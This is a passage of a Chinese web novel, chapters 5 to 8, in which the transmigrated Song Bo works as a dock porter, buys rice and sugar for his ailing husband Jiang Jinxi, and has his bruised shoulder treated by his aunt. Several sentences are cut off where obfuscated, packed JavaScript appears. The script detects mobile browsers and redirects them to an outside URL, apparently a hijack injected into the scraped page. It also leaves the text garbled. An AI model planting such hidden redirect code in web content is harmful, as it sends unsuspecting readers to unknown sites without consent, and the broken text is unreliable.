“做到何时?”宋泊问,家中还有个病人要照顾,他不想太晚回去。 “日落之时。”船老板答。 古代的照明条件不好,入了夜以后路变得难走,更何况上船前还得走过一条由几根竹竿捆在一起的竹子路,若是有人掉了下去,那就得不偿失,所以码头的运货都只在白日进行。 宋泊在心底算着时间,秋季太阳落山得早,再加上路上用去的时间,他能在戌时赶回家。 “上工几时?” 船老板哈哈笑了两声,“你先撑过这个下午,再说上工的事儿吧。” 5. 第五章 搬货确实不是件容易事儿,宋泊仅仅搬了一趟,就累得气喘吁吁,体力活总是又累又廉价。 一个打着赤膊的中年男子折回拿货点,看着宋泊站在边上一动未动,出言道:“新来的?” 到一个新的地方自然需要谦虚些,宋泊点了两下头,看着人畜无害。 赤膊男子面相和善,是个热心肠的人,见宋泊一直掌握不到搬货的要领,他直接以身示范,“你得揪着这两侧,然后用身体动作把货物甩到肩上。”说着,他十分轻松地将两袋货物抗在肩上,左边一袋右边一袋。 宋泊受了教,立即实施学来的新动作,果然用了赤膊男子的技巧以后,货物上肩都轻松了不少。“多谢大哥,”他道谢着。 “嗨,都小事。”赤膊男子憨憨笑了下,跟宋泊并排走着前往船老板的货船。 从闲聊中,宋泊得知赤膊男子名为李五,因着家中世代从农没有读书人,所以便按出生顺序编了名儿。 李五利落地把两袋货物丢在船上,拍了拍手中的灰,“听你说话文绉绉的,你应该读过书吧?” 相比李五的轻松惬意,宋泊就吃力得多,前一会儿他还能与李五聊上几句,走过半程以后,就只剩喘气的功夫 李五搭了把手帮宋泊把货物从肩上拿下来,才给了宋泊一些喘息的空间。 “小时候读过一些。” 闻言李五露出羡慕的表情。 士农工商,士排第一位,可想而知这个身份具有多高的含金量,平民百姓想步入士的阶级,读书这条道路是最明朗的,只可惜恒国的读书成本很高,只有家中相对富足才供得起一个读书人。 “那你怎不接着读书了?”李五跟宋泊重新返回拿货点,得知宋泊是读书人以后,他帮宋泊拿了带货物上肩,读书人的手最是金贵,可不能被那些粗制的麻袋磨了去。 “没钱。”宋泊实话实说。 没想着是这么个朴素的理由,李五愣了下,随后笑道:“也是,读书人也是要吃饭的。” 码头边最是风大,有海鸥飞了过来,高声叫着,宋泊没有闲情逸致欣赏美景,只是一个劲地闷头苦搬。有李五陪着,宋泊搬货轻松了几分,不过一个下午下来,他还是觉着肩头剧痛无比,想必明日一觉醒来,定是得淤了。 “辛苦了,这是工钱。”船老板很守信,天色一暗就拿着工钱过来。 宋泊抬了手,带着些重量的钱币落入他的掌心之中,不重,却足够分量。 “多谢老板。”宋泊道。 船老板瞧着宋泊有几分毅力,说:“明日辰时中上工。” “是。”宋泊应声。 船老板走后,宋泊才有空数起手中的钱币数,钱币放得杂,一眼看不出是多少,他竖着手指扒拉几下,数清了钱币枚数,一个下午累死累活赚了十八钱,虽赚得不多,但已经把他吃肉包的钱给补了上。除去肉包钱,他净赚十五钱,算是到这个世界赚的第一桶金。 “李兄。”宋泊唤着。 李五正收着钱,听到这么文雅的呼唤声,他动作一顿,略微迟疑地指了下自己,“你是在叫我吗?” 宋泊点头。 李五收好钱,带着些许羞涩地挠了下后脑勺,“还是头一次有人用这种称呼叫我,我还以为我听错了呢。” “我猜你应当比我大些,便自顾自以兄唤你,希望你莫怪罪。”宋泊道。 “咱农村人没那么多规矩,你爱咋叫咋叫。”李五摆手,“诶,你叫我是有啥事吗?” “李兄在这儿做工久了,可知哪儿的东西便宜实惠?”宋泊问,他囊中羞涩,可是有些东西是必需要买的,他不想被当做肥羊宰上一顿,只能问问算是半个镇里人的李五。 “你这是问对了!”李五帮人帮到底,带着宋泊到了寻常百姓常去的集市。 平民集市是比较杂乱无序一些,大家东西都摆在外头,没那么多讲究,就引了不少不请而至的“小动物”。 到集市门口,李五才想起宋泊是个读书人,他怕宋泊嫌此地磕碜,说:“走错了,集市在另一头才对。” “没事的李兄。”宋泊阻止李五反身的步伐,“我在这儿买就行。” 这周遭的环境跟现代的夜市有些相似,宋泊还算适应,跨过一摊不知道是什么的污水以后,走进了平民集市。 李五看着宋泊的背影,只觉着读书人就是与平头百姓不一样,明明同样身处嘈杂的环境之中,他却自带一股不同的气场。 这儿的东西确实便宜,一斗米便便宜了二钱,便宜不多,但积少成多也是一笔不菲的钱数。 李五有熟悉的摊子,刷了他的脸以后,宋泊用三十五钱,买了一斗米、一些调料、几颗菜、一小块肉,想着江金熙喝药时皱着的眉头,他还拨出五钱,斥巨资买了几颗糖,用来解药苦。 “多谢李兄,真是帮了我许多。”宋泊道,“改明儿请你吃饭。” “都叫我兄了,这点忙算得上什么。”李五看了眼擦黑的夜空,说:“你赶紧回去吧,出镇的路可不好走。” “那我便先走一步。”宋泊行了一礼,背上买的东西走了。 古代就这点儿不好,来回的路程都得靠一双腿走。 江金熙睡醒以后,从床上爬起坐了起来,他背靠冰冷的墙,侧着头往窗外望去,外面天青黑,院子里有棵枯树,上头的叶子摇摇欲坠,一阵风吹过,最后一片叶子也落了下来。 这儿跟他家的环境差得远了。 忽然,有人开门,江金熙的心瞬间提到了嗓子眼。 “你醒了,觉着如何?” 是中午给他送过饭的宋泊大姑。 江金熙的心又落回它该在的地方。 “宋泊还没回来呢?”宋茶栽拎着饭盒踏入房中,这个家非常安静,当是宋泊未归。这都过了戌时,正常上工这个时间该到家了,宋泊却还没回来,肯定是拿了钱又去赌了。 说不清是失望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你带了什么东西?”现下无事,宋茶栽对宋泊放在桌上的大包小包有些好奇,宋泊从来不会往家里带东西,这是破天荒的头一回。 “家常东西。”宋泊吞下一口粥,答道。 宋茶栽起身,翻开麻布袋,一斗米落入她的眼中,接着她又看了旁的几个袋子,竟还装了糖,这可不是什么家常东西,宋泊买来应当是要给江金熙的。 如此倒像那么一回事儿,江金熙现在也算是宋泊的夫郎,自家夫郎自然得由自己宠着。 趁着宋茶栽看东西的时候,宋泊三俩下就将饭给吃完了,他擦干净嘴,唤了一声,“大姑。” “怎么?”宋茶栽把打开的袋子重新绑好。 “三十钱得过几日再还……”宋泊压低了声音,有些不好意思,明明都说了要还钱,却因为买了家用物品花得精光,还得过两日在码头赚了钱,才能还给宋茶栽。 “没事。”听宋泊主动提起,宋茶栽才想起来她还借了宋泊三十文,宋泊当真是变了,以往他从来不会主动说起钱的事,而是能从她这儿挖多少,便挖多少。 “怎能没事?亲兄弟还得明算账。”宋泊起身,端着吃光了的饭碗,站于宋茶栽身侧,说:“大姑这么帮我,我肯定是得还的。” 宋茶栽心中五味杂陈,看着宋泊收碗的动作说不出话来。 三弟啊,你的儿子终于是长大了。 6. 第六章 宋茶栽送完饭就走了,有宋泊在,江金熙不用她照顾。来时的坏心情已经走了大半,宋茶栽把宋泊送她的糖丢入口中,十八岁的青年人,总算是干了件让她高兴的事儿。 江金熙看着手中还泛着热气的药汤,咽了口唾沫,然后屏气,端碗,喝下药汤,哪怕他已经喝了两次,这第三次还是苦到他嘴里发麻。 宋泊他大姑抓的药当真是灵药,不然怎的会如此苦涩。 江金熙放下碗,还未反应过来之时,口中忽然被塞入一颗圆圆的东西,他舔了一口,很甜,他在家中也吃过这物,是糖。 宋泊一把夺过江金熙手里的碗,面上表现得很不耐烦,“喝个药磨磨唧唧的。” 那人嘴上不饶人,动作也不礼貌,却给他塞了一颗糖。 江金熙躲进被子之中,嘴里的苦涩感已经被糖的甜腻盖了过去,这个家看着破破烂烂,家中肯定没有糖的存货,这般想来,现在他吃着的糖就是这人今日买的。 为了他,特意买了糖? “这糖......是你今日买的吗?”江金熙半张脸盖在被子底下,只留两只眼睛圆乎乎地漏在外头。 虽说确实是他今日买的,但宋泊并不会说原话,他还需人渣形象来威慑江金熙,“糖多贵你不知?” “那……”江金熙道。 “你别管哪儿来的,吃就是。”语罢,宋泊一手拿着药碗,一手拿着今日买的米面出门,只留了一小包拆开的糖包在桌上。 江金熙看着桌上的糖,这糖的做工很简单,价格不会很贵,但这是对于名门贵族而言,对寻常百姓来说,除非家中有些闲钱,不然是不可能买糖这种不管饱的东西在家中存着的。 江金熙的舌头裹着糖,糖在口腔中动着,甜甜的感觉让他心情愉悦,这个“家”似乎比他想象中要好一些。 宋泊进了厨房,先将碗洗了干净,随后才开始收拾东西,米没有米缸可放,只能暂时放在麻布袋之中,剩下的调料放在炉灶旁的台上,这样做菜可以顺手一拿,方便许多。之前水缸里的水都被江金熙污了去,白日宋泊去江边抬了新的水蓄满水缸,晚上正好可以烧上一些,给江金熙洗脸。江金熙那种贵族家的哥儿,肯定是每日都要清理自己的。 生火这事说来简单,实施起来却很复杂,这地儿没有打火机和助燃碳,只能用原始些的方法生火。还好这家中还有两块火石,若是连火石也没有,真得从钻木开始的话,江金熙今夜恐怕是用不上热水了。 宋泊找了些干细树枝堆在面前,他没用过火石所以只能用现代的常识支撑,两块火石不断摩擦着,搓了十几次,才冒出一点火星子将干细树枝点燃。 有了轻微的火星子,宋泊赶紧拿着火钳把火丢入灶底,然后塞入几根细树枝,既不压灭火星,又可以助燃。 宋泊久久没有回来,江金熙便从床上爬起来,下地猫到厨房边。一日休息以后,他的身体已恢复大半,正好走动一下,顺便看看宋泊在做什么。他蹑手蹑脚地走到厨房门口,双手扒着门框,悄悄往里瞧,只见宋泊坐在一个小木凳上,两条修长的腿跨在两边,手中抓着个小扇子往灶底扇着风,灶台上的大锅冒着热气,他没闻着香气,不知道宋泊在煮些什么。 看着水蒸气不断冒着,听着锅中水咕噜咕噜的声音,宋泊停下手,起身准备去拿个脸盆来,装水去屋里。 见宋泊要走出来,江金熙慌忙地想要跑回房内,这下过雨的泥地还湿腻着,他一时不差,一个出溜滑就要摔在地上。 正想着摔在地上衣服沾泥必会被宋泊打骂时,一只长手捞住了他的腰,接着他便靠入了一个温暖的怀抱之中。 “你在这儿作甚?”宋泊问。 江金熙还在病中,这时不在床上待着,跑来外面吹冷风做什么。 “我、我就走走。”江金熙两手抵宋泊胸前,怯弱地说着。 院内没有灯光,宋泊借着厨房的烛火光,看清怀中人的脸,“看你那慌忙逃窜的样子,可不像走走。”他随意说了句,松开环在江金熙腰上的手,江金熙实在是瘦,不过随便一环,便从左腰环到了右腰。 难道这个世界的哥儿都是这般体重? 江金熙往后退了两步,说:“我想看看夫君、在、在做什么。”念到夫“夫君”二字的时候,江金熙自己都有些不好意思了,不过为了示弱,他还是这般说了。 没有任何一个男子能抗下江金熙的示好,就算是宋泊也是如此,宋泊听着起了一身鸡皮疙瘩,他背过身,两手放在后腰处,“来得正好,你进房内等会儿,把脸洗了。”让江金熙直接等在厨房中,倒是省了他拿着脸盆来来回回的功夫。 江金熙听话地进了厨房,离灶台近了,他才发现锅炉中什么也没煮,只是一锅清澈的水。 大半夜的,煮水来喝这量也太多了,江金熙按下不解,乖乖地坐在宋泊坐过的小凳子上。 宋泊脚长走路快,不过一分钟,就拿着脸盆和面巾回来,他先舀出些水放在盆中用来喝,剩下的才全数舀入脸盆之中,“把脸洗了,我可不想我的夫郞脏兮兮的。” 原来这水是给他洗面用的,听着话江金熙的不解更甚,村中也会有早晚热水洗面的习惯吗? 不过想归想,江金熙还是没有直接问出口,既然宋泊给他煮了水洗面,那他就心安理得地受着,他抬手入水,被水温烫得一哆嗦,“嘶——” 宋泊喝了口水,这水温虽然带着点儿热,却也不至于将人烫出声儿来。 宋泊撂下碗,帮江金熙把面巾在水里过了一遍,拧干后交至他的手中。 江金熙接过面巾,抬着头看着站在他面前的宋泊。 宋泊被江金熙看得不自在,又端起碗,遮住自己的脸,“看什么看,赶紧洗脸。” 江金熙洗完脸以后,宋泊让他先回房间,他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309946|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己从水缸里舀了一勺凉水,往脸上一泼再搓一搓,就算是洗过脸了。 端着一碗水,宋泊回了房,这般折腾时间便悄悄流逝,他打了个哈欠,实在是困得不行。 昨儿个因为床湿了一半,宋泊才决定睡在桌边,今日床干了,他便没想着委屈自己,掀开外侧的被子就要上床。 这动作倒是把江金熙吓得一激灵,他想起昨天夜里宋泊凶残的模样,忍不住往墙边缩了缩。 “靠墙那么近干什么,等会冻着。”说着话,宋泊将江金熙拉回些许以后,才躺回床上。 秋天的夜晚很冷,再加上那漏风的窗户,身上盖着一床薄被根本毫无用处,宋泊醒着都已经被冻着了,更别说睡下以后体温降低,肯定更是冻人。 宋泊翻了个身,江金熙还躲着,可能是他正紧张,唇色虽然有些许泛白,却还没到发紫的地步。 总得在拿些东西盖着,不然钱还没赚多少,他却倒下了。 家中没有多的被子,宋泊只能拿些衣裳来盖,之前没看着衣服没有概念,现在宋泊才知道这家中有多穷,衣服的材质很差,还东破一个口西破一个口的,之前宋母在世的时候,还会帮着缝缝补补,自二老去世以后,这衣服就越发破烂了。 不过这时候也不是嫌弃衣服烂的时候,宋泊卷了卷衣服,把衣柜掏空。 哥儿比男子更怕冷,宋泊就将三分之二的衣服都盖在江金熙身上。 麻布做的衣服,保温效果还行,就是实在重,几件衣服就像一座山似的压在江金熙的身上,让他有些呼吸困难,“夫、夫君,这衣服太重了......” 宋泊本已经躺好,听到这声重新坐起来,“哪里重。” “胸、胸口。”江金熙的星眸闪闪的,非常可怜。 江金熙本就长得美,现在又用这种可怜巴巴的眼神盯着他瞧,宋泊藏在嘴里的恶语全都吞入腹中,之前那些行为举止应该足以让江金熙害怕了,快要到入睡之时,就不吓他了。 宋泊将江金熙胸口上的衣服拿起来在手中掂量掂量,选出些相对较轻的衣服盖在他的胸口处,“这样可以了?” 江金熙深呼吸了几口,“大山”被搬走,他的呼吸又顺畅了,他点了点头,跟小鹿儿一般。 “那就睡觉。”宋泊把房中的烛火熄灭,躺下以后身子靠向右侧,将左边肩头空着,缓缓肩头的肌肉酸痛。 宋泊实在是累了,这一天跟陀螺一般转个不停,现下沾枕既眠,没一会儿就有沉重的呼吸声自他口中而出。 江金熙的心一直狂跳着,直到宋泊沉沉睡去,他才松了口气,天知道他刚刚究竟有多害怕,害怕宋泊一个翻身就将他压在身、下。还好,一切都只是他的担心。 江金熙闭上眼,耳边除了宋泊的呼吸声以外,就只能听见外头时不时的鸟叫声,他躺在床上,左翻身右翻身,终于在宋泊规律的呼吸声中睡了过去。 7. 第七章 天刚蒙蒙亮宋泊就醒了,许是记着要去码头上工,这身体的生物钟自然就设置了起来的时间。 宋泊听着背后缓慢平稳的呼吸声,左臂一抬,就要掀开被子下床。刚动了下手臂,肩膀上的痛也被扯了起来。他的肩膀必然是青了,不然不会一夜过去痛感一丝为减,反而还重了不少。 忍着疼,宋泊还是下了床,好不容易接到的短工,可不能只做了一下午,就撂挑子走人。船老板是做生意的人,人脉必然很广,若是因此落下个差名声,只怕以后找工作也是不大好找。 宋泊转了身,江金熙朝着他这面儿睡得正香,闭着的双眸非但没有降低江金熙的美,反而因着恬静又加了几分柔和的美。宋泊将被子掖了掖,靠得近了才发现江金熙的睫毛又长又翘,真真是个美人胚子。 不过,江金熙的美与他并没有关系,他的美只属于主角攻,宋泊十分清醒。 确定一丝风都不会钻入被子里以后,宋泊才转身离开房间,他去厨房舀了一勺清水随意地洁了面,便出发前往传福镇。 去之前,宋泊还去了一趟宋茶栽家,又麻烦宋茶栽帮他送一日饭。 宋茶栽应得很快,不过在宋泊临行前,她还是嘱咐了句,“别太累着自己。” 今日的宋泊依旧没有坐车,他买了两个馒头,边走边吃,等走到码头的时候,时间刚刚好。 船老板见着宋泊按时上工倒是不太惊奇,毕竟从昨日下午宋泊的表现来看,他就知道宋泊不是一个轻言放弃的人。 船老板眼神扫过众人,道:“都到齐了,那便开工。” 一声令下,大家都动了起来,李五走至宋泊身边,如昨日一般帮他拿了袋货物背在身上,货物一落在肩膀上,宋泊吃痛,五官都挤在一起。 看着宋泊狰狞的模样,李五急道:“你没事吧!” 宋泊咬着后槽牙,强撑着劲,豆大的汗水从他额头上滑下来,他道:“无事,你走就是。” 这搬货真不是寻常人能干的活,一日搬货以后,宋泊肩膀上的伤更重了。 今日宋泊累死累活,两脚沉得跟灌了铅一样也只赚了二十七钱,不过他已经很满足了,下了工去昨日李五推荐的市集,买了些别人挑剩下的生菜,那些菜虽然品相不好,但胜在便宜,现在条件有限,做不到精养,只能保证一日三餐营养均衡。 迎着满空的星星,宋泊抓着菜,走在回家的路上,远远的,他就看着家中烛火亮着,江金熙搬着把凳子,坐在房门口。 虽说江金熙不是他真正的夫郞,但回家烛火明亮,有人等着的感觉着实不同。 宋泊一脚跨入房内,道:“等在门口作甚,不冷?” “不冷。”江金熙看着宋泊手上抓着的菜,问:“这菜是给大姑的吗?” “为什么给大姑?”宋泊反问。 “我、我不会做饭。”江金熙道。 哥儿和女子主内,大部分人家都会教自家哥儿、女儿做菜,江金熙却有所不同,他可是家里的掌上明珠,家里人捧在手心怕碎了,含在嘴里怕化了,哪儿愿意他去厨房里被油烟摧残,因此江金熙虽然已经年满十六岁及笄了,但还是不会生活做饭。 “你做什么?”宋泊看了江金熙一眼,“我做。” 厨房火盛油气重,再加上杀鸡宰羊这种事儿总是在厨房发生,杀戮又血腥,故而世人皆以为男子是不能进厨房沾染这些血气的。宋泊作为一名男子,却愿意下厨,江金熙这下是彻底愣了。 见江金熙眼神呆愣,宋泊换了个话题,“大姑今日来过了吗?” 今日他只买了一把青菜,没有花费太多时间,比昨日早回来了不少。 江金熙缓过神来,回答道:“还没。” 说曹操曹操到,宋茶栽拿着晚饭来了,她看着房内站着个宋泊,还吓了一跳,“今日你回来这么早?” 宋泊点了下头,道:“大姑。” 江金熙已经不需要在床上躺着休养,宋茶栽就把饭盒放在木桌上,三人围着桌子坐下,宋茶栽说:“明日你早些回来,要开族会。” 宋家子孙众多,到这一代由宋茶栽这位大姑主持大局,每三月开一次族会,一方面是为了团圆相见,另一方面是看看各家各户有什么难处,大家可以出力相助。 因着开族会的时间是固定的,所以大伙儿会空出时间来,非必要理由不会缺席。 宋泊的双亲逝世以后,三房这儿只剩下宋泊,宋茶栽叫过原身参会,可原身不当一回事,左耳进右耳出,从来没参加过宋家的族会。本来宋茶栽已经没打算叫宋泊了,但这俩日宋泊有变好的趋向,宋茶栽便想着试试看。 “明日何时?”宋泊问,他一直很有时间观念,问清楚具体时间,他才好安排明日的事情。 “大抵是戌时初。”宋茶栽答。 大伙儿有的脚程长来得慢,所以族会开的时间会有偏差,不过大都在戌时左右。 “好。”宋泊应声。 这个开会时间很合适,足够他回家吃个饭再到宋茶栽家中。 明日的事情解决,宋泊与江金熙便端起饭碗,开始吃晚饭。 宋茶栽闲来无事,撇着放在桌子一侧的菜,便看着宋泊问:“这菜?” “明日我打算自己做饭,这样就不必麻烦大姑了。”宋泊说。就算宋茶栽是原身的大姑,一直麻烦人家来回跑也不合适。 “你不是要去上工?”宋茶栽问。 “我早些起床就是。”宋泊答。 宋茶栽知道宋泊的上工时间,他要花半个时辰去镇里,还要花时间做饭,那可得起得非常早,宋茶栽作为长辈自然会心疼小辈,她道:“不用那么麻烦,我把菜拿了,明儿个让金熙上我那吃饭就是。” “那多麻烦大姑。”宋泊说。 “是呀。”江金熙跟着也附和了一句。 “做几个人的饭不是做?”宋茶栽一拍桌子,直接做出决定,“就这么定了,明天你们都来我这吃饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309947|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宋茶栽都这么说了,宋泊再拒绝那就是不给面子,他只好说着,“是,多谢大姑。” 吃完饭喝了药,江金熙和宋泊、宋茶栽一块儿出了房门,明日得他自己去宋茶栽家,他俩这会儿带着他认路。 这还是他来到这个家以后第一次出门,夜黑如墨,宋茶栽拎着一盏小灯走在前头。 借着月光和灯笼的烛光,江金熙走得还算顺利。 宋泊看着灯亮,想着明日去了镇上可得买盏灯回来,他倒是无所谓,可江金熙如果夜里要出门的话,还是需要一盏灯照亮脚下的路。 宋泊正想着,忽然听着一声惊叫,随后自己左手臂便被抓了去。 在力的作用之下,宋泊只觉着自己左肩快被扯下来,实在痛得厉害。他拂下江金熙攥着他手臂的手,问:“怎么了?” “发生什么事了?”走在前头的宋茶栽也被这声叫吓了一跳,她转过身来,烛光照在三人之间,让她看清了两人的神色。 “我、我看见只老鼠……”江金熙说,他最怕老鼠了,刚刚一只身体肥胖的老鼠自他脚下跑过,可把他吓坏了。 “原来如此。”宋茶栽又回过身在前头领路,“咱这村子就是老鼠多,不过你不去招惹它,它也不会理你的。” “嗯。”江金熙还是心有余悸,跟宋泊的距离缩小不少,几乎是贴着宋泊的衣袖再走。 “不过一只老鼠。”宋泊按着人渣的态度抱怨了句,动作却是往江金熙那边靠了靠,走在他半个身位之前,这样有老鼠再来,他也能比江金熙早发现,把它们踢走。 如此保护着江金熙,终于走到宋茶栽家中。 院内灯火明亮,宋茶栽熄了灯笼中的烛火,把灯笼轻轻放在门口边以后,问着江金熙,“金熙,你记着了吗?” 江金熙自小在官宦世家长大,琴棋书画样样精通,连着书也看了不少,自然是十分聪颖,这不过一炷香时间的路,根本难不着他,江金熙微微拂身,“我就记着的。” “那就好。”宋茶栽道。 此行本就是带江金熙熟悉路线,现下江金熙说他记着路了,宋泊也没有其他的要与宋茶栽说,便转了身打算领着江金熙回家。 “等等。”宋茶栽出言阻道。 宋泊反身,不解地看着宋茶栽。 “进来涂药。”宋茶栽说。 江金熙日日在家中躺着,涂药肯定不是涂他,那么宋茶栽就是看出了他肢体上的不协调,才这么说,如此想着,宋泊说:“不必涂药,小伤而已。”不过淤青,过几日就好了,完全没必要浪费药膏。 宋茶栽也不与他多言,只是上前走了几步,一抬手按在宋泊的左肩上。 “嘶——”宋泊一下没忍住,捂着左肩斜肩蹲下,喊着:“大姑!” 江金熙离宋泊近,被他的大动作吓着,他虚扶了下宋泊,眼里藏了些慌张,“怎、怎么了?” 宋茶栽收了手,“浑身上下就嘴最硬。” 8. 第八章 屋内的烛火摇曳着,整个房内明亮透彻,宋泊衣裳半解,露出半肩的淤青。 江金熙站在宋泊右后方,看到这片淤青他也是大吃一惊。宋泊的身体常年没有运动又没有晒着太阳,白皙的皮肤上一片淤青特别显眼,单是这么看着,江金熙觉着自己的肩头也在疼。 宋茶栽眼中心疼,嘴上还是刺了宋泊一下,“这还小伤?”她右手拿着自制的跌打损伤膏药,指尖挖起一块,抹在宋泊肩头。 “疼,大姑轻些。”淤青的地儿越是碰越是疼,饶是宋泊这般铁骨铮铮的汉子,也扛不住揉开淤青的疼痛感。 “忍着些,不化开更有你疼的。”宋茶栽手下不留情,一边抹药,一边跟江金熙说着抹药的要点。 毕竟江金熙是宋泊的夫郞,宋泊也不可能天天跑来她家涂药,所以涂药这事儿只能教会江金熙,让他们在家中涂药。 所幸涂药也不是什么难事,江金熙也聪慧,一下就记着涂药的诀窍。 “来,金熙你过来试一下。”又一次将药膏揉入宋泊皮肤之中以后,宋茶栽起了身,给江金熙让位置。 理论和实践是不同的,在眼前看过一次以后,宋茶栽才会放下心来。 江金熙坐上椅子,以往在京城遇到的大事不少,现在的他却有些紧张起来。 江金熙圆润的指尖挑起一点点膏药,然后抬起头看向宋茶栽,“这些合适吗?” “合适,再多些少些也无妨。”宋茶栽道。 听着宋茶栽的话,江金熙才转回头,小心碰上宋泊的肩头,许是前头宋茶栽揉上了劲,他摸起来还带了些热度。记着宋茶栽的手法,江金熙的手指小心翼翼地移动。 宋泊乖乖坐在椅子上,他看不着身后,只能借着皮肤来感受江金熙的指尖,不知为何,明明同样都是上药,江金熙来似乎有种不同的感觉。 等到指尖微热,粘腻的感觉全都消失以后,江金熙问:“这样就可以了吗?” “很好。”宋茶栽说。 上完药以后,宋茶栽还嘱咐了一下宋泊,让他明日减轻些货物量,让肩膀休息休息。 “这东西你拿回去,让金熙每晚给你抹一次就行。”宋茶栽说。 宋泊接过宋茶栽手里的药膏罐,药膏散发着一种自然的花香,盖子盖上以后,香气还是隐隐透了些出来,“谢谢大姑。” 宋茶栽打了个哈欠,“天色不早了,你们回去吧。” “嗯。” 夜晚,宋泊跟江金熙出了宋茶栽家,宋泊忽然觉着有股陌生的视线紧随着他们。他脑袋转得极快,一下便联想到了原著中陷害江金熙的那群人。距离江金熙被卖到他家不过两日,那些人肯定放不下心来,想瞒过那些人,宋泊只能演得像个人渣。 他在心底对江金熙说了声抱歉以后,右手往后一抓抓着江金熙的手腕,接着他长腿一迈,看起来就像是强行拽着江金熙走的模样。 宋泊边拉着边说:“等到家了,看我怎么收拾你。”这般听来,江金熙似乎是惹了宋泊,才会被暴力拽着走。 躲在树后的人看到宋泊对江金熙的态度,又耐着性子跟了一会儿后,确定宋泊对江金熙真的很差,才安心离开。 那股如狼的视线退开,宋泊也不敢松手,他就这般演着,演到家中关上房门以后,才松开抓着江金熙的手。他的动作看起来暴躁,其实他都掌握好了分寸,他的力道并不会伤到江金熙。 按宋泊的性子,他应当与江金熙解释解释刚刚的动作,但现在他还需人渣人设,人渣做事本就随心所欲,他便把那已经在嘴边的解释给吞了下去,直接进了厨房给江金熙烧水洗脸。 江金熙比宋泊更敏锐些,他察觉到那些歹人的眼神,配合着宋泊被他拽着回家。现在宋泊去了厨房,江金熙则坐在房中,他不知道宋泊是不是也察觉到了那些人的眼神,不然怎么会走的好好的突然攥着他疾行。 京城里的阿谀奉承很多,江金熙跟在父母身边,看过不少面前一套背后一套的人,已经练就了辨人的本领。最开始他在神志不清之时见着宋泊时,只觉得这人十分符合人渣这两个字,可那晚以后,这人像变了,虽说话语尖锐刺耳,可做的全是对他好的事儿,江金熙目无焦距,垂着眸发呆,可是好人又怎的会做出买夫郞这种事呢? 江金熙想得多,最终还是决定再多观察观察。 翌日,宋泊依旧按着生物钟起了床,应该是药膏起了效,今日他左肩的痛感略有缓解,有缓解就好,今儿个可以多搬些货,存钱买布和被子。 搬了两日货,宋泊也算熟悉起来,搬货的速度略有提升,一个早上便搬了十余袋的货物,如此算来,下午再努努力,今日便能赚到四十多钱。 正午,大伙儿聚在大棚子底下,一张长木桌上放了饭,在这儿搬货还有个好处,那就是船老板会包下中午这餐,可以省下一顿饭的钱。 “今天的菜是不是比以往多些?”李五夹一筷子饭塞入口中。 宋泊与李五坐在一块儿,他也觉着今日的饭菜似乎多了一些,以往一碗饭只配一菜一肉,今日虽说也是一菜一肉,但分量好像加了些许。 宋泊夹了一块肉,边嚼着边偷偷盯着船老板瞧。 船老板依旧扇着扇子,不过他频频回头,一直往一个方向瞧着,好像在等什么。 忽然,远处出现一人,那人身形渐渐变大,手里拿着封信,正朝他们这儿跑来。 船老板的神色有些紧张,等那人跑来在船老板耳边轻语了几句,船老板的眉眼瞬间舒展开来,沾满了喜气。 他迫不及待地打开信封,却发现这次的信有些文绉绉的,他没读过书,只认识些简单字,之前听李五说过宋泊是读书人,他眼神一瞄,瞟向宋泊,“你把这信念给我听。” 宋泊应声,放下碗筷擦净嘴,起身走到船老板身旁,将信接了过去。 船老板应当是很看重这封信,不然也不会小心翼翼地以双手姿势递与他。 宋泊打开信看了一遍,托专业的福,这写满繁体字的信并没有难住他。来信人是船老板的亲弟,他去省城参加了乡试,前两日放榜,他中了,成了举人。 成了举人就有了做官的资格,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309948|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在古代可是天大的好消息。 宋泊将信的内容一字一句告诉船老板,船老板高兴坏了,一拍桌子,“下午下工,我请客,咱们上喜春楼搓一顿!” 货工们欢呼,直言船老板真是好福气,有个争气的弟弟。 宋泊小心地把这封道喜的信给折了起来还给船老板,并道:“恭喜船老板,令弟必然会青云直上。” 船老板拍了拍宋泊的右肩,说:“读书人说话就是不一般,听着都舒心多了。” “不过晚上我家中有事,可能无法参加......”宋泊记着晚上要开族会,便想着把晚上吃饭的事儿给推了,毕竟饭局以后还会有,给宋茶栽的印象可不能差了。 “不行!”船老板直接拒绝宋泊这个请求,“必须都来!” 见船老板这态度,宋泊没有再说,退回了自己的位置上。明的不行他就来暗的,饭局喝醉总是会放他走的。 